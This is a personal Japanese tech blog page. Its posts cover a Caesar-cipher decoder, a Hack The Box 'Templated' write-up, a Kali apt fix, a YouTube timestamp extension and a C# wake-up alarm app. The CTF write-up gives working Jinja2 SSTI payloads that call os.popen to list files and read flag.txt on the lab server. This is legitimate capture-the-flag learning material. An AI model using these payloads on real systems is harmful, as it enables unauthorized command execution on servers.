naya_hira’s diary

三日坊主の備忘録

【ROT13】 任意の数ずらすROT13 【Python3】

はじめに

ROT13 とは、ユリウス・カエサル(ジュリウス・シーザー)が用いたとされる有名な暗号です。 今回は、Python3.6を用いてrot13を実装しました。

ソースコード

def rot13(crypt,shift):
  plain = ''
  for c in crypt:
    if 'A' <= c and c <= 'Z':
      plain += chr((ord(c) - ord('A') + shift) % 26 + ord('A'))

    elif 'a' <= c and c <= 'z':
      plain += chr((ord(c) - ord('a') + shift) % 26 + ord('a'))

    else :
      plain += c

  return plain

def main():
  text= 'fsdz{Fdhvdu_flskhu_lv_fodvvlfdo_flskhu}'
  n = -3
  print(rot13(text,n))

if __name__ == "__main__":
  main()

Hack the box Templated Writeup

Open url

以下のような、ページが表示されました。
f:id:naya_hira:20210215175423p:plain 下の行にProudly powered by Flask/Jinja2と記述されています。
それより、 Flask/Jinja2 でページが作成されていることがわかりました。

Search about Flask/Jinja2

Jinja2 とは

jinja.palletsprojects.com

templating language とは

ja.wikipedia.org

Flask/Jinja2 のまとめ

Python > Flask > テンプレートエンジン > Jinja2
みたいな感じです

Googling on jinja2 exploit

medium.com

以上から、SSTI(サーバーサイド・テンプレート・インジェクション) があることがわかりました。
まず、この脆弱性が利用可能か試してみます。

try SSTI

この脆弱性は、以下のような{{any_code}}から確認できます。
http://206.189.121.131:32326/{{1+1}}
f:id:naya_hira:20210215180618p:plain

The page '2' could not be found

のように{{}}内の計算結果が表示されました。

search eval code

0x1.gitlab.io より f:id:naya_hira:20210215181846p:plain

try eval code

{{''.__class__.mro()[1].__subclasses__()[396]('cat flag.txt',shell=True,stdout=-1).communicate()[0].strip()}}
{{config.__class__.__init__.__globals__['os'].popen('ls').read()}}

以上を試します。下を使用します。 f:id:naya_hira:20210215182009p:plain すると、画像のように

'bin boot dev etc flag.txt home lib lib64 media mnt opt proc root run sbin srv sys tmp usr var '

lsが実行できたようです。

Get Flag

{{config.__class__.__init__.__globals__['os'].popen('cat flag.txt').read()}}

URL :http://206.189.121.131:32326/%7B%7Bconfig.class.init.globals['os'].popen('cat%20flag.txt').read()%7D%7D でFlagを獲得できました。

f:id:naya_hira:20210215182629p:plain

最後に

最後の塗りが雑かったと思いました。

kali linux sudo apt update Error

f:id:naya_hira:20201115143953p:plain

How to solve this error

Except for kali linux package package are at "/etc/apt/sources.list.d". So remove or move error file at "/etc/apt/sources.list.d". Or change current url.

memo

try cat /etc/apt/sources.list

f:id:naya_hira:20201115144143p:plain
terminal window

But not found http://ppa.launchpad.net/openjdk-r/ppa/ubuntu hirsute Release

P.S.

i cannot input japanese on kali linux ,so i wrote in english. pien(look like jk)

YouTubeコメント欄で特定の時間に移動するコメントの入力補助

はじめに

Youtube のコメント欄に x:xx のような時間が書かれたコメントを見たことがありますか? クリックするとその時間まで飛ばしてくれる便利なコメントです。ですが、このコメントはどうやって入力しているのでしょう。手動でしょうか。 手動以外で、入力できないの? ということで

作った物

動画を載せることができなかったため、twitterに投稿しました。

How to use

Youtube 上のハートボタンをクリックする ・F10 を押す (F10 : ショートカットキーとして登録した場合)

詳細

作ったもの : Chrome 拡張機能 プログラミング言語 : Javascript (html, json) GitHub

詰みポイント

Youtube拡張機能が動作しない

Youtube では history state を書き換えることで、高速な読み込みを可能としています。そのため、URLが変わっても、拡張機能のコンテンツスクリプトは再実行されません。ここを参考にしました。

Youtube ではこのJSフレームワークを使用しているようです。詳しくは、ここを読めば、理解できます。

私の場合 : 解決法(クリックで展開)

window.addEventListener('yt-navigate-start', process);

if (document.body) process();
else document.addEventListener('DOMContentLoaded', process);

function process(){
// なんらかの処理
}

ソースコード

再生時間の取得とコメントに挿入(クリックで展開)

var currentTime = document.getElementsByTagName("video")[0].currentTime;

// sec -> hour + min + sec
var hour = zeroPadding(parseInt(Math.floor(currentTime)/60/60), 2);
var min = zeroPadding(parseInt(Math.floor(currentTime)/60)%60, 2);
var sec = zeroPadding(parseInt(Math.floor(currentTime))%60, 2);
var previousComment = document.getElementById("contenteditable-root").innerText;
previousComment =  (previousComment=="") ? previousComment + "" : previousComment + "\n";

//コメント欄にフォーカス
document.getElementById("simplebox-placeholder").click();
// すべてを結合
var insertComment = (hour == "00") ? previousComment + min + ":" + sec + " : " : previousComment + hour  + ":"  + min + ":" + sec + " : ";

//コメント欄に挿入
document.getElementById("contenteditable-root").innerHTML = insertComment;

さいごに

でも、結局 x:xx のような時間が書かれたコメント を簡単に入力する方法があったなら何の意味もないんですけどね!! 方法を知っている方は、コメント等で教えていただければ、うれしいです。

Youtube ってだからあんなに早かったんですね。ブラウザの履歴の書き換えなんてサイト側でできることが初めて知りました。History.pushState()とか使っているのかな?Google ってやっぱりすごいですね。

『眠気吹っ飛ばす作業用アプリ』を作った

なぜつくったの?

寝落ちでぴえんしそうになったから

4.gif

作ったもの

概要gif

3.gif

解決したい課題

寝落ちせずに作業がしたい

私の趣味は、『締め切りギリギリに徹夜で作業や課題をすること』 この趣味は、寝落ちする可能性をぬぐい切れません。 そこで、寝落ちしないようなアプリケーションを作成した。

こうなってほしい

1.作業中に常駐する

2.マウスとキーボードの入力が一定時間止まる

3.設定したアラーム音を鳴らす

4.びっくりして起きる

問題点

気持ちよく寝ているところを起こされると不機嫌になってしまう

実装した処理(折り畳み:ソースコード)

入力が一定時間ないことを判別する

public static class User32Interop{
/// 最終操作からの経過時間
/// </summary> ミリ秒で表示される Ex. 1sec -> 1000, 5sec -> 5000
    public static TimeSpan GetLastInput(){
        var plii = new LASTINPUTINFO();
        plii.cbSize = (uint)Marshal.SizeOf(plii);
        if (GetLastInputInfo(ref plii))
            return TimeSpan.FromMilliseconds(Environment.TickCount - plii.dwTime);
        else
            throw new System.ComponentModel.Win32Exception(Marshal.GetLastWin32Error());
    }
    [DllImport("user32.dll", SetLastError = true)]
    static extern bool GetLastInputInfo(ref LASTINPUTINFO plii);
    struct LASTINPUTINFO{
        public uint cbSize;
        public uint dwTime;
    }
}

アラーム音を鳴らす

string SoundFilePath = SleepDown.Properties.Settings.Default.FilePath;
string FileExtension = System.IO.Path.GetExtension(SoundFilePath);
switch (FileExtension){
    case ".mp3"://This is fall through so it's not that i forget break;
    case ".wav":
    case ".flac":
        Microsoft.SmallBasic.Library.Sound.PlayAndWait(SoundFilePath);
        break;

    default:
        MessageBox.Show("音声ファイルは\n対応した拡張子を設定してください");
        break;
}

再生する音源をローカルファイルから選択可能にする

//設定に音源ファイルのパスを保存しているため
//パスを取得
var FileDialog = new Microsoft.Win32.OpenFileDialog();
FileDialog.Title = "開くファイルを選択してください";
FileDialog.Filter = "mp3ファイル|*.mp3|wavファイル|*.wav|flacファイル|*.flac";
if (FileDialog.ShowDialog() == true){
    SoundFilePath = FileDialog.FileName;
}

実装したい処理

  • 再生音源の音量調整
  • アラーム音を再生途中で入力があった場合の途中停止

最後に

もし読んでくれた人がいたならありがとうございます。 深夜テンションでヒャッハー!して書いたのでわけわからないところはご愛嬌で頼んます。

ps. 初めて書いたのでC#もQiitaもぐちゃぐちゃです。